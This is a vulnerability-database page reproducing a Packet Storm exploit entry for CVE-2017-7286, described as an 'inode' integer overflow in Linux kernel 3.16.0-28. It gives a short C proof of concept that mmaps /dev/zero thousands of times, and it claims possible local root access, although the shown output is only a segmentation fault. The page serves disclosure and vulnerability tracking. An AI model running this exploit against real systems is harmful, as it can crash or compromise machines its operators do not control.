Lucene search
K

Linux 3.16.0-28 Integer Overflow

🗓️ 29 Mar 2017 00:00:00Reported by Nassim AsrirType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

Linux 3.16.0-28 Integer Overflow, "inode" Overflow, Local Root Acces

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Ubuntu Linux kernel package integer overflow vulnerability
12 Apr 201700:00
cnvd
CVE
CVE-2017-7286
10 Apr 201710:56
cve
Cvelist
CVE-2017-7286
10 Apr 201710:56
cvelist
NVD
CVE-2017-7286
10 Apr 201711:59
nvd
RedhatCVE
CVE-2017-7286
10 Apr 201716:17
redhatcve
SUSE CVE
SUSE CVE-2017-7286
15 Feb 202304:48
susecve
UbuntuCve
CVE-2017-7286
10 Apr 201711:59
ubuntucve
`[+] Title: Linux kernel 3.16.0-28 - Integer overflow  
[+] Credits / Discovery: Nassim Asrir  
[+] Author Email: [email protected] || https://www.linkedin.com/in/nassim-asrir-b73a57122/  
[+] Author Company: Henceforth  
[+] CVE: CVE-2017-7286  
  
Vendor:  
===============  
  
https://www.kernel.org/  
  
  
Vulnerability Type:  
===================  
  
"inode" Integer overflow  
  
  
Exploit:  
===================  
// INODE can be overflowed by mapping a single file too many times, allowing for a local user to possibly gain root access.  
// gcc buffer.c -o buffer  
// $ ./buffer   
// Segmentation Fault   
  
  
#include <unistd.h>  
#include <fcntl.h>  
#include <sys/mman.h>  
void main(){  
int fd, i;  
fd = open("/dev/zero", O_RDONLY);  
for(i = 0; i < 26999; i++){  
mmap((char*)0x00000000 + (0x10000 * i), 1, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);  
}  
}  
  
  
  
CVE Reference:  
===============  
  
CVE-2017-7286  
  
  
Tested on:  
===============  
  
Linux ubuntu 3.16.0-28 x86_64  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation